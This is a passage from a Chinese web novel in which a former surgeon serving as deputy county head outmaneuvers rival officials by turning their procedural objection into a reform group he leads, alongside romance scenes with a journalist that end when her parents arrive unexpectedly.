她只看到叶凡站在台上,身后是残破的烂尾楼,身前是沸腾的人群。
阳光将他的身影勾勒得无比清晰,那份从容、那份笃定、那份掌控一切的气场,是她记忆中从未有过的模样。
曾几何时,这个男人在她家里,连大声说话的勇气都没有。
曾几何时,他为了给自己买一个名牌包,省吃俭用好几个月,递给她时还带着一丝讨好和不安。
曾几何时,父亲指着他的鼻子骂他是废物,他只是低着头,一言不发。
那些画面,与眼前这一幕,形成了如此荒谬而尖锐的对比。
她感觉自己的心脏被一只无形的手紧紧攥住,呼吸困难。
骄傲、悔恨、不甘、困惑……种种情绪交织在一起,最终,只化为眼角一滴不受控制的泪水,顺着她精致的脸颊滑落。
她输了。
输得一败涂地,体无完肤。
叶凡的目光自始至终没有在她身上停留超过一秒。他对着台下百姓深深鞠了一躬,然后转身,在秘书和安保人员的簇拥下,平静地离开了主席台。
他从柳如烟身边走过,甚至没有一丝侧目,仿佛她只是一个普通的,举着话筒的媒体工作人员。
那种被彻底无视的感觉,比任何羞辱的言语,都更像一把尖刀,刺穿了柳如烟最后一道防线。
她看着叶凡的背影消失在人群中,腿一软,差点瘫倒在地。
助理连忙扶住她,急切地问:“柳姐,您没事吧?我们……我们还拍吗?”
柳如烟失魂落魄地摇着头,泪水再也抑制不住。
她哭的样子,被苏沐秋安排在远处的实习记者,用长焦镜头,清晰地记录了下来。
……
回到县政府的车上,秘书小张激动得满脸通红,握着方向盘的手都在微微颤抖。
“叶县长,您……您今天太牛了!”
叶凡靠在后座上,闭目养神,脸上没有丝毫波澜。
对他而言,这只是一场必要的外科手术。
病人反应良好,达到了预期效果。
至于手术过程中,不小心溅到旁观者身上的血,他并不关心。
手机震动起来,是县长**的电话。
“小叶!哈哈哈!漂亮!这一刀,切得太漂亮了!”**爽朗的笑声从听筒里传来,带着毫不掩饰的欣赏,“你今天不光是给老百姓一个交代,更是给我们青川县所有干部,上了一堂最生动的课!”
“我刚接到市里的电话,好几个领导都在问,青川是不是来了个‘拼命三郎’啊!”
叶凡淡淡一笑:“李县长,光喊口号没用,后面的硬仗才刚开始。”
“我明白!”**语气一正,“你放手去做!拍卖公车,削减预算,谁敢有二话,让他直接来找我!天塌下来,有我**给你顶着!青川这潭死水,是时候该彻底搅动一下了!”
有了**的这番话,叶凡知道,自己的“手术权限”,得到了最高级别的确认。
……
傍晚,一家不起眼的私房菜馆。
叶凡推门而入时,苏沐秋正坐在窗边,单手托着下巴,笑吟吟地看着他。
她的左肩还吊着绷带,却丝毫不影响她的灵动。
“哟,我们青川的大英雄来了?”苏沐秋眨了眨眼,语气里满是调侃,“快请坐,叶大县长,我这小记者能请您吃顿饭,真是三生有幸啊。”
叶凡在她对面坐下,给自己倒了杯茶:“别贫了。今天谢谢你。”
“谢我什么?谢我帮你把前妻弄哭,还拍了特写?”苏沐秋说着,把手机推了过去。
屏幕上,正是柳如烟梨花带雨,失魂落魄的照片。
叶凡只瞥了一眼,便移开了目光,仿佛在看一张无关紧要的风景照。
“我说真的。”苏沐秋收起玩笑的神色,认真地看着他,“你今天这手,玩得太绝了。把一场危机,变成了一次完美的**宣言。现在,江城所有媒体的头条都是你。你猜,标题是什么?”
她顿了顿,一字一句地念道:“《有一种官,他敢对自己开刀》。”
叶凡笑了。
这标题,有苏沐秋的风格。
“不过,”苏沐秋话锋一转,眼神里多了几分凝重,“你今天这把火,烧得太旺了。拍卖公车,削减招待费,这等于断了全县干部的财路。你现在,可成了青川官场的公敌了。”
“良药苦口,猛药去疴。”叶凡端起茶杯,轻轻抿了一口,“肿瘤切除后,总要用抗生素
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杀杀菌,防止感染复发。”
苏沐秋看着他云淡风轻的样子,又是好气又是好笑,还有一丝不易察觉的心疼。
“你呀,真是个疯子。一个敢在自己身上动刀的疯子。”
饭后,两人并肩走在河边。
晚风微凉,苏沐秋下意识地紧了紧衣服。
叶凡注意到这个细节,很自然地脱下自己的外套,披在了她的肩上。
苏沐秋的脚步顿住了。
外套上,还残留着他的体温,和一股淡淡的,让她心安的味道。
她转过头,路灯的光晕洒在她脸上,眸子亮得像星星。
“叶凡,”她轻声问,“你做这一切,到底是为了什么?证明给谁看吗?”
叶凡看着远处江面的点点灯火,沉默了片刻。
“以前,或许是。”他缓缓道,“但现在,不是了。”
“我只是想看看,凭我这双手,除了能救活手术台上的人,还能不能救活一座城。”
这番话,让苏沐秋的心狠狠一颤。
她看着眼前的男人,忽然觉得,他身上那件普通的白衬衫,比她见过的任何华服,都更加耀眼。
……
深夜,叶凡回到焕然一新的常务副县长办公室。
推开门,他便察觉到了一丝不同。
他的办公桌上,多了一份装在牛皮纸袋里的文件,封口处,盖着“县委组织部”的印章。
叶凡的眼神平静下来。
他知道,真正的反击,来了。
他拆开文件,里面是一份联合署名的**。
标题是:《关于提请县委**会复议部分县政府资产处置及预算调整方案合规性的报告》。
报告洋洋洒洒写了好几页,引经据典,罗列了数十条市级、省级的财政法规和国有资产管理条例,核心意思只有一个:
叶凡在新闻发布会上宣布的“拍卖公车”和“削减预算”的决定,程序不合规,法理有瑕疵,在未经过相关部门(财政、审计、国资)的严密论证和****会的审议前,属于越权行为,应立即暂停。
而在报告的末尾,联合署名人一栏,第一个名字,赫然便是——县委**、组织部长,赵立新。
后面,还跟着财政局、审计局、国土局等十几个部门一把手的签名。
这几乎是半个青川县的官僚体系,联合起来,对他发起的“程序性绞杀”。
叶凡看着这份报告,脸上非但没有怒意,反而露出了一丝冷冽的笑意。
他拿起手机,拨通了**的号码。
“李县长,鱼,上钩了。”
第173章 用你的规矩,办我的事!
电话那头的**,声音里带着一股压抑不住的火气。
“小叶,你看到了吗?组织部的赵立新,联络了十几个部门,给咱们来了个联合上书!这是要干什么?这是要**!”
**是真的怒了。
县委**张海涛刚被调走,他主持工作,根基未稳,赵立新这帮人就敢这么明目张胆地抱团发难,这打的不仅是叶凡的脸,更是他**的脸。
“我看到了,李县长。”
出乎**的意料,叶凡的声音平静得像一潭深水,甚至还带着一丝若有若无的笑意。
“你还笑得出来?”**一愣,“他们这是要釜底抽薪啊!拿程序来卡你,这事要是闹到市里,我们会被动!”
“李县长,您别急。”叶凡慢条斯理地说道,“我正要跟您汇报,鱼,已经上钩了。”
“上钩?什么意思?”**满腹疑云。
叶凡走到窗边,看着楼下匆匆行走的干部们,他们脸上或多或少都带着幸灾乐祸的表情。
“李县长,您想,如果我当初按部就班,把拍卖公车、削减预算的方案做成报告,先报给您,再上**会讨论,结果会是什么?”
**沉默了。
结果不言而喻。
那份报告会在财政局、国资委、审计局之间传来传去,开无数个协调会、论证会,拖上三个月、半年,甚至一年。
最后,即便是通过了,也早已被各种“意见”和“建议”稀释得面目全非,不痛不痒。
“他们最擅长的,就是用程序拖死你,用规矩捆死你。”叶凡的声音冷了下来,“所以,我必须先把事情做成既定事实,把火点起来,点到全县老百姓都看得到,点到市里都必须关注。”
“当这把火烧起来之后,性质就变了。”
“问题的焦点,就不再是‘该不该做’,而是‘怎么样才能合规地做’。”
**在电话那头倒吸一口凉气,他感觉自己后背的汗**都立了起来。
他终于明白了!
叶凡这是用阳谋,逼着整个官僚体系,从“不作为”的舒适区里,被动地进入到“如何作为”的辩论场!
他已经赢得了民心和**的制高点!
“赵立新他们这份报告,表面上是来势汹汹的问罪书,但在我看来,”叶凡轻笑一声,“这是一份邀请函。”
“邀请函?”
“对。邀请我们,来共同完善‘程序’的邀请函。”叶凡的眼中闪动着一种外科医生面对复杂病例时的兴奋光芒,“他们不是说我程序不合规吗?好,那我完全同意。”
“李县长,我建议,在下一次的**会上,由您亲自提议,针对我提出的资产处置和预算调整方案,成立一个‘青川县深化改革资产盘活与财政监督特别工作领导小组’。”
“这个小组的职责,就是专门负责研究、制定、监督这一系列改革的‘合规性流程’。”
“至于组长人选嘛……”叶凡顿了顿,“我毛遂自荐。”
**彻底被叶凡的思路给震撼了。
这哪里是反击?
这分明是借力打力,顺水推舟!
赵立新他们递过来一根绳子,想勒死叶凡,结果叶凡抓着这根绳子,直接给自己编了一顶更耀眼的官帽!
把一个临时性的、有争议的改革倡议,通过这个“特别小组”,变成一个常态化的、拥有合法外衣的权力机构!
“高!实在是高!”**忍不住击节赞叹,“小叶,你这个脑子……不服不行!好!就在**会上,我亲自为你搭台!”
……
与此同时,县委组织部长赵立新的办公室里,却是另一番景象。
城建局长王建林和财政局长刘胖子,正满脸谄媚地给赵立新续着茶。
“赵部长,您这招实在是高啊!”刘胖子竖起大拇指,“咱们引经据典,拿规矩办事,他叶凡就算有天大的本事,也得低头!”
“没错!”王建林附和道,“他一个毛头小子,仗着李县长撑腰就敢乱来,以为官场是他家开的?这次看他怎么收场!在新闻发布会上说得那么满,现在要自己打自己脸,以后他在青川还怎么抬头做人!”
赵立新靠在宽大的老板椅上,端着茶杯,脸上是稳操胜券的笑容。
他五十出头,在组织部长的位置上坐了快五年,自诩为青川官场的“老法师”,最看不起叶凡这种靠着一时之功就想搅动风云的“愣头青”。
在他看来,官场如棋局,讲究的是步步为营,是滴水不漏的程序。
叶凡那石破天惊的一刀,看似凌厉,实则破绽百出。
“年轻人,有冲劲是好事,但不懂规矩,就是取死之道。”赵立新慢悠悠地吹着茶叶沫,“等着吧,不出三天,**就得亲自来找我商量,怎么把这事的影响降到最低。到时候,那个姓叶的,就得乖乖地把他那个什么‘透明平台’给撤了。”
王建林和刘胖子对视一眼,都看到了彼此眼中的喜色。
仿佛已经看到叶凡灰头土脸的样子。
……
夜色渐深。
叶凡的手机响了,是苏沐秋打来的。
电话一接通,就传来她带着急切的关切声:“我刚听说,组织部那帮人联名告你的状了?你没事吧?要不要我找人运作一下,发
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一篇评论文章,从**上支持你?”
听着她紧张的声音,叶凡心中一暖。
他走到窗边,能看到楼下不远处县报大楼的灯光,那里,应该就是她战斗的地方。
“放心,一点小场面,还没到需要你这位王牌记者出马的时候。”叶凡的语气轻松写意。
“还小场面?我听人说,这可是赵立新牵头的,半个县的局长都签名了,这是要逼宫啊!”
叶凡笑了笑,把自己的计策简单跟她说了一遍。
电话那头沉默了足足十几秒。
随后,传来了苏沐秋如释重负又带着无限钦佩的感叹声:“叶凡……你真是个魔鬼。”
“有你这么夸人的吗?”
“我就是在夸你!”苏沐秋的声音里带上了笑意,那份暧昧的磁性又回来了,“你把他们用来攻击你的武器,直接抢过来,改造成了自己的手术刀。我敢打赌,那个赵部长现在肯定还在做着把你拉下马的美梦呢。”
“所以,”叶凡顺着她的话说下去,“为了不打扰他的美梦,我准备低调一点。”
“哦?你要怎么低调?”苏沐秋好奇地问。
“比如,接受一下我们江城晚报王牌记者的独家专访,谈一谈我对‘程序正义’与‘改革效率’之间关系的个人看法。”叶凡的嘴角勾起一抹弧度。
苏沐秋在那头“噗嗤”一声笑了出来,笑声如银铃般清脆。
“叶大县长,你这是给我送独家新闻,还是想让我当你的传声筒,提前给**会吹风啊?”
“都有。”
“好啊你,连我都算计!”苏沐秋娇嗔一句,语气却甜得发腻,“行,本记者接了!不过,采访地点得我来定。”
“可以。”
“那就……等你这把‘新手术刀’拿到手之后,来我家吧,我亲自下厨给你庆功。”
这个邀请,像一颗投入湖面的石子,在叶凡心里荡开了一圈又一圈的涟漪。
挂了电话,叶凡嘴角的笑意更深了。
他转过身,重新坐回办公桌前。
那份来自组织部的联合报告,还静静地躺在桌上。
在赵立新等人眼中,这是审判他的罪证。
但在叶凡眼中,这却是一份详尽的、标明了所有“病灶位置”和“组织脉络”的CT影像图。
他拿起笔,在那份报告的标题旁边,缓缓写下了几个字。
《关于成立青川县深化改革特别工作领导小组的构想(草案)》。
他看着报告末尾那一长串签名,眼神变得无比锐利。
赵部长,还有各位局长。
谢谢你们,送来的这把新手术刀。
第174章 欢迎进入我的手术室!
第二天,青川县政府大楼里的空气粘稠得仿佛凝固的糖浆。
每一个端着茶杯路过走廊的干部,都下意识地放轻了脚步,说话的声音也压低了八度。
所有人的目光都在有意无意地瞟向三楼的县委**会议室。
山雨欲来风满楼。
谁都知道,今天,将决定那个年轻得过分的常务副县长叶凡的命运。
城建局长王建林和财政局长刘胖子,一早就进了组织部长赵立新的办公室,再出来时,两人脸上都带着一种按捺不住的得意,看人的眼神都多了几分居高临下。
在他们看来,这场战争已经结束了。
叶凡,这个不懂规矩的愣头青,即将为他的狂妄付出代价。
……
九点整,县委**会议准时召开。
长条形的会议桌旁,青川县权力核心的十几位大佬悉数落座。
主持工作的县长**坐在主位,面色平静,看不出喜怒。
他身旁的组织部长赵立新则显得气定神闲,甚至还和旁边的纪委孙**低声交谈了两句,一副胸有成竹的模样。
会议按部就班地进行着,讨论了几个无关痛痒的议题后,赵立新清了清嗓子,身体微微前倾。
来了。
所有人都心头一凛,坐直了身体。
“李县长,各位**,”赵立新声音洪亮,字正腔圆,“今天,我想就近期县政府在资产处置和预算调整方面的一些做法,谈几点看法。”
他没有直接点叶凡的名字,但谁都知道他说的是谁。
“我个人,以及财政、审计、国土等多个部门的同志,都认为,改革是必须的,但任何改革都必须在法律和制度的框架内进行。程序正义,是依法治县的基石,更是我们政府公信力的生命线!”
赵立新拿起面前那份联合署名的报告,朗声念道:“叶凡同志在凤凰湖新闻发布会上的几项承诺,比如拍卖公车、大幅削减招待费,出发点是好的,但其决策过程,绕过了财政部门的预算审核、国资部门的资产评估以及**的必要监督,存在严重的程序瑕疵。”
“我提议,立即暂停相关决定的执行,并成立联合调查组,对方案的可行性、合规性进行为期至少三个月的全面评估。我们必须对青川的稳定负责,对党的纪律负责!”
一番话,说得慷慨激昂,占尽了“程序”和“法理”的制高点。
好几位原本中立的**,都下意识地点了点头。
赵立新说得没错,规矩就是规矩。
赵立新满意地看了一眼众人的反应,嘴角勾起一抹不易察觉的微笑。
他仿佛已经看到,**在巨大的压力下,不得不妥协,而那个姓叶的小子,则灰溜溜地收回他那些不切实际的豪言壮语。
然而,**的反应,却让所有**跌眼镜。
“嗯。”**点了点头,语气平静地说道:“立新同志的意见,我个人表示赞同。”
什么?
赞同?
会议室里瞬间落针可闻。
赵立新脸上的笑容僵住了。
王建林和刘胖子等人更是面面相觑,脑子一时没转过弯来。
**这是……要抛弃叶凡了?
“立新同志说得对。”**环视全场,声音不大,却透着一股不容置喙的力量,“我们搞工作,不能只凭一腔热血,更要讲规矩,讲程序。这一点,是原则问题,没有任何商量的余地。”
赵立新愣愣地看着**,一时间竟不知该如何接话。
这和他预想的剧本完全不一样!
“但是,”**话锋一转,语气陡然变得锐利,“讲程序,不是为了把事情拖黄;讲规矩,更不是给不作为当挡箭牌!凤凰湖上千户百姓回不了家,宏发建工留下的烂摊子摆在那里,这些问题,等得起三个月吗?老百姓等得起吗?”
他重重地一拍桌子!
“所以,我的意见是,我们不但要讲程序,还要建立一个更高效、更专业的程序!一个能真正解决问题的程序!”
**看向门口,扬声道:“小张,请叶凡同志进来,让他也听一听大家的意见,谈一谈他的想法。”
会议室的门被推开。
叶凡穿着一身笔挺的深色西装,走了进来。
他脸上没有丝毫的紧张或不安,平静得像一个即将走上手术台的外科医生。
他先是向所有**微微鞠躬,然后,目光落在了赵立新的身上。
“赵部长,各位领导。”叶凡的声音清晰而沉稳,“刚才在门外,我听到了赵部长的发言,我个人,完全赞同并支持赵部长的意见。”
他又一次重复了**的话!
赵立新感觉自己的大脑彻底宕机了。
这两人,到底在搞什么鬼?
“赵部长和各位局长联名提出的报告,我昨天已经仔细拜读过了。”叶凡说着,从随身的公文包里,拿出了一份文件,分发给在场的每一位**。
“这份报告,水平非常高,非常专业!它就像一张精准的CT扫描图,为我们指出了改革过程中可能遇到的所有风险点和程序上的‘病灶’。我非常感谢赵部长和各位同志,为我们点亮了前路的指示灯。”
这番话说得赵立新脸上青一阵白一阵。
他感觉自己用尽全力打出的一拳,像是打在了棉花上,不,是打在了一个黑洞里,连个回响都没有。
众人翻开叶凡分发的文件,标题赫然写着——
《关于成立青川县深化改革资产盘活与财政监督特别工作领导小组的构想(草案)》。
“正是基于赵部长报告中提出的宝贵意见,我连夜草拟了这份构想。”叶凡的声音在安静的会议室里回荡。
“我提议,成立这个‘特别工作小组’,小
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组的职责,就是将凤凰湖项目的善后工作,以及拍卖公车、削减预算等一系列改革举措,全面纳入规范化、法制化的轨道。”
“这个小组,将下设资产评估、财政监督、法规审核、民众监督四个办公室。”
“至于小组成员嘛,”叶凡的目光缓缓扫过那些曾经在报告上签名的局长们,“我建议,就由财政局、审计局、国资委、城建局等部门的负责同志共同组成。”
“而组长,”叶凡顿了顿,目光最终回到了主位的**身上,然后转向目瞪口呆的赵立新,“鉴于这一系列风波由我而起,为了对县委负责,对全县人民负责,我,毛遂自荐,申请担任这个小组的组长!”
“轰!”
赵立新的脑子里仿佛有颗**炸开了。
他终于明白了!
他终于明白了一切!
从头到尾,他就是一个小丑!
他递过去的,哪里是什么问罪书,分明是一份授权书!
他召集了半个县的官僚体系,想要用“程序”的牢笼困死叶凡。
结果,叶凡不仅没进笼子,反而拿走了笼子的钥匙,把自己变成了这个“程序牢笼”的典狱长!
他把所有的反对者,都变成了自己手下的兵!
“我……我反对!”赵立新几乎是下意识地吼了出来。
“哦?”**淡淡地看了他一眼,“立新同志,你反对什么?是反对我们讲程序,还是反对我们解决问题?”
一句话,就将赵立新钉死在了原地。
他反对?他拿什么理由反对?
反对成立一个专门“讲程序”的小组吗?那不就是自己打自己的脸?
赵立新张着嘴,脸色由红转白,再由白转青,最后化为一片死灰。
他看着那个站在会议室中央,神情淡然的年轻人,感觉自己像一个躺在手术台上,被完全解剖的病人。
而对方,正拿着一把他亲手递过去的手术刀,微笑着看着他。
“我……我没有意见了。”赵立新颓然坐倒在椅子上,仿佛瞬间被抽走了所有的精气神。
“好。”**环视全场,“既然大家没有意见,那我们就举手表决吧。同意成立特别工作小组,并由叶凡同志担任组长的,请举手。”
**第一个举起了手。
纪委孙**,犹豫了半秒,也举起了手。
紧接着,一个,两个,三个……
手臂如林。
大局已定。
会议结束后,叶凡走出会场。
他经过赵立新身边时,脚步微顿,冲他礼貌性地点了点头,眼神里没有嘲讽,只有外科医生结束一台成功手术后的平静。
谢谢你的配合。
走出会议室,温暖的阳光洒在身上。
叶凡拿出手机,调出那个熟悉的号码,编辑了一条短信。
“手术刀已到手,准备庆功宴吧。”
第175章 最甜的庆功宴!
**会结束的那个下午,青川县官场的气氛发生了微妙而剧烈的变化。
曾经那些见了叶凡只是点头之交,甚至眼神中带着几分审视的干部们,如今在走廊里远远望见,便会立刻停下脚步,脸上堆起谦卑而热情的笑容,恭恭敬敬地喊上一声“叶县长”。
尤其是城建局长王建林和财政局长刘胖子。
这两人几乎是在会议一结束,就第一时间冲到了叶凡的办公室门口,只是这一次,他们连门都不敢敲,只是像两个犯了错的小学生,规规矩矩地站在门外。
直到叶凡的秘书小张出来,两人才连忙凑上去,一人手里拿着一份厚厚的“思想汇报”,另一人则捧着一份关于城南安置房项目资金补足的详细报告。
“叶县长在忙,文件放下,你们可以回去了。”小张传达了叶凡的意思,语气平淡,却带着一种不容置喙的威严。
王建林和刘胖子如蒙大赦,点头哈腰地退下,后背的衬衫早已被冷汗浸透。
他们比谁都清楚,从今天起,青川的天,真的变了。
那个姓叶的年轻人,用他们递过去的刀,给自己做了一件最坚硬的铠甲。
现在,他们所有人的脖子,都悬在这件铠甲锋利的边缘上。
办公室里,叶凡只是平静地看着窗外。
他没有去享受胜利者的姿态,对他而言,**会的胜利,只是完成了手术前最关键的一步——获得了主刀的绝对授权。
真正的挑战是如何用这把“新手术刀”,去精准切除青川县积重难返的“肿瘤”,并且让“病人”能够平稳地康复。
他拿起电话,拨通了县长**的内线。
“李县长,我准备明天去一趟市里。”
“去市里?”**有些意外。
“对。”叶凡的声音清晰有力,“我们那个‘特别工作小组’虽然成立了,但只是个县级机构。宏发建工留下的烂摊子,尤其是凤凰湖项目,资金缺口巨大,光靠我们县财政‘节流’是不够的。我打算去市发改委和市财政局跑一跑,把我们的改革方案做个专题汇报,争取市里的政策支持和专项资金。咱们师出有名,现在是最好的时机。”
电话那头的**沉默了几秒,随即爆发出由衷的赞叹。
“好!小叶,你总是能想到我前面去!”
**心中感慨万千。
他本以为叶凡在**会大胜后会稍作喘息,享受一下胜利果实,没想到对方的目光已经投向了更远的地方。
这种魄力和格局,让他愈发坚信,自己把宝押在叶凡身上,是这辈子最正确的一次****。
“行!我马上让办公室给你安排车,再给市里几位老领导打个电话,让他们务必支持你的工作!”
“车就不必了,李县长。”叶凡婉拒道,“我开自己的车去,低调点,方便办事。”
挂了电话,叶凡看着手机屏幕上那条再也熟悉不过的短信,嘴角的线条不自觉地柔和了许多。
去市里,有公事。
但最重要的,是赴一场约。
……
第二天一早,叶凡便独自驾车,驶上了前往江城的高速。
离开压抑的青川县城,视野豁然开朗。
叶凡摇下车窗,清晨的风带着一丝凉意灌入车内,让他紧绷的神经也随之放松下来。
他忽然觉得,自己的人生,就像这辆正在高速路上飞驰的汽车。
几个月前,他还困在离婚的痛苦和被下放的绝望中,以为前路一片黑暗。
而现在,他手握权柄,前途似乎一片光明。
这一切的转折点,似乎都与那个叫苏沐秋的女人有关。
是她,在自己初到青山镇时,像一束光,照亮了他灰暗的心境。
是她,在自己每一次与敌人交锋时,都坚定地站在自己身后,用她的笔,化作最锋利的刀枪。
更是她,在自己被**、被误解时,毫不犹豫地选择相信。
想着想着,叶凡的心头涌上一股暖流。
他看了一眼副驾上那个包装精美的礼盒,里面是一条他特意托人从国外订购的,据说对骨骼愈合有奇效的医用康复丝巾。
礼物不贵,但代表着他的心意。
一个半小时后,车子驶入江城市区。
叶凡没有直接去苏沐秋的家,而是先将车开到了市发改委的楼下。
他用一个上午的时间,高效地拜访了市发改委和财政局的相关领导。
**的提前招呼,加上叶凡本人在凤凰湖发布会上的惊人举动早已传遍江城官场,让他这次的“化缘”之旅异常顺利。
市里的领导对这位敢对自己开刀的年轻县长充满了好奇和欣赏,当场便表态,会成立专班研究对青川县的扶持政策,并优先拨付一笔烂尾楼处置的启动资金。
搞定公事,已是下午四点。
叶凡按照苏沐秋发来的地址,将车开进了一个环境优雅的高档小区。
他停好车,抬头望去,看到十八楼的某个窗口,亮着一盏温暖的橘色灯光。
在那一瞬间,叶凡感觉自己连日来在官场厮杀的疲惫,都被那片灯光温柔地融化了。
他拿着礼盒,走进电梯,按下了“18”楼的按钮。
当电梯门打开时,他看到苏沐秋正俏生生地站在门口等他,仿佛已经等了很久。
她今天没有穿职业装,而是一身居家的米白色针织长裙,长发随意地挽在脑后,露出光洁的脖颈。
她的左肩依然用绷带固定着,但脸上却洋溢着明媚动人的笑容。
空气中,飘散着饭菜的香气。
“欢迎光临,叶大县长。”苏沐秋眨了眨眼,侧身让他进来,语气里带着几分狡黠的调侃,“视察得怎么样?我们小老百姓的家,还入得了您的法眼吗?”
叶凡看着她这副模样,忍不住笑了起来,将手里的礼盒递了过去。
“不是视察,是投案自首。”
“哦?”苏沐秋接过礼盒,好奇地打量着,“犯了什么罪啊?”
“非法占用优秀女记者宝贵的休息时间,前来骗吃骗喝。”叶凡一边说着,一边换上苏沐秋准备好的拖鞋。
房子是两室一厅的格局,装修得温馨而雅致,处处都透着女主人的巧思。
客厅的沙发上,还随意地放着几个可爱的抱枕。
这是一种与县政府办公室截然不同的,充满了生活气息的温暖。
“算你识相。”苏沐秋打开礼盒,看到那条质地柔软的丝巾,眼神一亮,随即又嗔了他一眼,“又乱花钱。”
嘴上这么说,她却小心翼翼地将丝巾拿了出来,轻轻地抚摸着,眼里的喜悦藏都藏不住。
“过来,坐。”她拉着叶凡在餐桌旁坐下。
四菜一汤,都是精致的家常菜,色香味俱全。
“尝尝我的手艺。”苏沐秋给他盛了一碗汤,满脸期待地看着他。
叶凡喝了一口,是鲜美的鱼头豆腐汤。
他点点头,由衷地赞叹:“士别三日,当刮目相看。没想到我们的苏大记者,不仅笔杆子厉害,锅铲子也耍得这么好。”
“那是,也不看看我是谁。”苏沐秋得意地扬了扬下巴,那娇俏的模样,让叶凡看得有些出神。
“看什么呢?”苏沐秋被他看得有些不好意思,脸颊微微泛红。
“看你肩膀的伤。”叶凡收回目光,神色变得认真起来,“手伸出来,我帮你检查一下。”
他的语气,自然得就像一个医生在嘱咐病人。
苏沐秋“哦”了一声,乖乖地伸出受伤的左臂。
叶凡的手指轻轻搭在她的手腕上,感受着她的脉搏,然后又顺着她的手臂,轻轻按压检查她肩关节的恢复情况。
他的动作
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很专业,很轻柔。
但当他温热的指腹触碰到她肌肤的那一刻,苏沐秋还是感觉自己的心跳漏了一拍。
一股微弱的电流,从两人接触的地方,瞬间传遍了全身。
她能闻到他身上那股淡淡的,好闻的皂角清香,混杂着一丝消毒水的味道,让她感到莫名的心安。
“恢复得不错。”叶凡检查完毕,松开手,语气恢复了医生的专业,“但还是不能大意,最近不要提重物,晚上睡觉注意姿势。”
“知……知道了,叶医生。”苏沐秋感觉自己的脸颊有些发烫,连忙低下头,扒拉着碗里的米饭。
餐桌上的气氛,一时间变得有些微妙的暧昧。
“对了,”为了打破这旖旎的沉默,苏沐秋主动开口,“你这次在**会上,把赵立新那帮人收拾得那么惨,我可是听说了。现在整个青川,估计没人敢再跟你叫板了吧?”
“只是开始而已。”叶凡喝了口汤,眼神恢复了深邃,“打蛇打七寸。赵立新他们只是蛇的鳞片,我要找的,是那条蛇的头。”
苏沐秋心中一动,她知道叶凡所指的,绝不仅仅是青川县的势力。
“你的动作,已经惊动市里的一些人了。”苏沐秋压低了声音,“我爸的一个朋友,在**办公厅工作。他昨天还跟我爸提起,说市里几位主要领导,都在关注青川县那个‘不按常理出牌’的叶县长。”
“哦?他们怎么评价?”叶凡饶有兴致地问。
“评价很两极。”苏沐-秋的表情凝重起来,“欣赏你的人,觉得你是有魄力、敢担当的干将。但不喜欢你的人,觉得你是个破坏规矩的‘异类’,是个不稳定的因素。尤其……是你前岳父柳家那一系的……”
叶凡的眼神冷了下来。
他知道,柳传明虽然倒了,但他在江城经营多年的关系网还在。
那些人,天然就会视自己为敌。
“兵来将挡,水来土掩。”叶凡淡淡地说道,语气里却透着一股强大的自信。
苏沐秋看着他,眼波流转,充满了欣赏与一丝不易察觉的痴迷。
这就是她喜欢的男人。无论面对多大的风浪,永远都这般从容不迫。
晚饭后,叶凡主动收拾碗筷,却被苏沐秋拦住了。
“你是客人,哪有让你动手的道理。”她笑着把他按在沙发上,“你坐着看会儿电视,我来就行。”
她系上围裙,走进厨房。因为左肩不便,动作显得有些笨拙。
叶凡看着她的背影,心里一动,也跟着走了进去。
厨房空间不大,他一进去,两人之间的距离便被拉得极近。
“我来吧。”他很自然地从她身后,拿过她手里的盘子。
苏沐秋的身体僵了一下。
她能清晰地感觉到,他温热的胸膛,就贴在自己的后背上。
他的呼吸,轻轻地拂过她的耳畔,带起一阵酥麻的痒。
“你……你出去,这里我一个人就行。”她的声音细若蚊吟,带着一丝不易察觉的慌乱。
“你一只手不方便。”叶凡没有退开,反而上前一步,从她身后环住她,接过了水龙头。
他的手臂几乎是将她整个人圈在了怀里。
这是一个无比亲密,又无比暧昧的姿势。
苏沐秋感觉自己的心脏快要从嗓子眼里跳出来了,她一动也不敢动,只能任由他温热的气息,将自己层层包裹。
时间,在这一刻仿佛静止了。
厨房里,只剩下哗哗的水流声,和两人越来越清晰的心跳声。
就在叶凡洗完最后一个盘子,准备转身的那一刻。
“咔哒”一声。
公寓的门,突然从外面被打开了。
紧接着,一个略带威严的中年女声传了进来。
“秋秋,妈和你爸来看你了!你这孩子,怎么电话也不接?”
第176章 一号手术病人:未来岳父、岳母!
完了!
这是苏沐秋脑海里唯一的念头。
她像是被踩了尾巴的猫,猛地从叶凡怀里挣脱出来,因为动作太急,甚至牵动了左肩的伤口,疼得她倒吸一口凉气。
叶凡的反应却快得惊人。
在苏沐秋挣脱的同一秒,他已经后退一步,拉开了两人之间的距离。
他的脸上没有丝毫慌乱,那双在手术台上见惯了生死搏杀的眼睛里,只有一瞬间的错愕,随即立刻恢复了深潭般的平静。
他甚至还有闲暇,飞快地关掉水龙头,并用眼角的余光扫了一眼苏沐秋那张红得快要滴血的脸。
门被推开。
一对气质不凡的中年夫妇出现在门口。
走在前面的是一位保养得极好的中年妇人,穿着得体的套裙,头发一丝不苟地盘在脑后,眼神锐利,正是苏沐秋的母亲,市教育局副局长李云。
跟在她身后的,则是一个戴着金边眼镜,面容儒雅,但眉宇间自有一股不怒自威气度的男人。
他穿着一件深色的夹克,手里还提着一个果篮。
正是苏沐秋的父亲,江城大学的副校长,著名历史学教授苏为民。
两人进门,一眼就看到了厨房门口的景象。
自己的女儿穿着一身居家服,脸颊绯红,呼吸急促,左肩还吊着绷带。
而女儿的身边,站着一个身材挺拔、相貌英俊,但却完全陌生的年轻男人。
更要命的是,男人身上还穿着不属于这个家的男士拖鞋。
空气,在这一瞬间彻底凝固。
李云那双锐利的眼睛,像两把手术刀,瞬间就将叶凡从头到脚剖析了一遍。她的眉头,肉眼可见地皱了起来。
“秋秋,这位是?”
李云的声音比刚才在门外时,冷了至少十度。
“妈,爸,你们怎么……怎么不打个电话就来了?”苏沐秋的声音带着一丝不易察觉的颤抖,她下意识地想去解释,却又不知道从何说起。
“我给你打了七八个电话,你接了吗?”李云的目光依然锁定在叶凡身上,那是一种丈母娘审视女婿时,独有的、带着挑剔和防备的目光。
“我……我手机静音了。”苏沐秋的解释显得苍白无力。
就在这尴尬快要溢出房间的时候,叶凡主动上前一步,打破了僵局。
他冲着二老微微欠身,脸上带着一种客气而又不显谄媚的微笑,声音沉稳而富有磁性。
“叔叔,阿姨,你们好。”
“我是叶凡,青川县的,也是沐秋的朋友。”
他的自我介绍,简洁,有力,直接点明了身份和来意,瞬间就将自己从一个“不明身份的男人”,定位到了一个“有公职的朋友”的身份上。
苏为民推了推眼镜,审视的目光在叶凡身上停留了片刻,没有说话。
而李云的眉头却没有丝毫松开的迹象。
